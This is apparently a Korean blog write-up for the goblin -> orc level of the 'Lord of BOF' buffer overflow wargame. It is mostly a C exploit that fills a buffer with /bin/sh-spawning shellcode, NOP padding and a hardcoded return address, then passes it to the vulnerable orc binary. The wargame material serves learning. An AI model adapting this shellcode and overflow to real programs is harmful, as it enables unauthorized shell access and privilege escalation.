- Today
- Total
Phantom
[Goblin] goblin -> orc 풀이 본문
|
|
|
|
이제 공격한 것들을 바탕으로 익스플로잇을 작성해보자
#include <stdio.h> #include <stdlib.h> #define NOP 0x90 #define NOP1 20 #define BUFSIZE 48 char shellcode[] = "\x31\xc0\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"; char retAddr[] = "\xb0\xfa\xff\xbf"; int main() { char cmdBuf[BUFSIZE+1]={0}; int i, j, shellLen; int retLen; shellLen = strlen(shellcode); retLen = strlen(retAddr); for(i=0;i<shellLen;i++) cmdBuf[i] = shellcode[i]; for(j=0;j<NOP1;j++) cmdBuf[i++] = NOP; for(j=0;j<retLen;j++) cmdBuf[i++] = retAddr[j]; execl("/home/goblin/orc", "orc", cmdBuf, 0); } |
'Pwnable > [Wargame]Load of Bof' 카테고리의 다른 글
[wolfman] wolfman -> darkelf 풀이 (0) | 2014.07.27 |
---|---|
[Orc] orc -> wolfman 풀이 (0) | 2014.07.23 |
[Goblin] cobolt -> goblin 풀이 (0) | 2014.07.15 |
[Gremlin] gremlin -> cobolt 풀이 (0) | 2014.05.28 |
[Gate] gate -> gremlin 풀이 (0) | 2014.05.27 |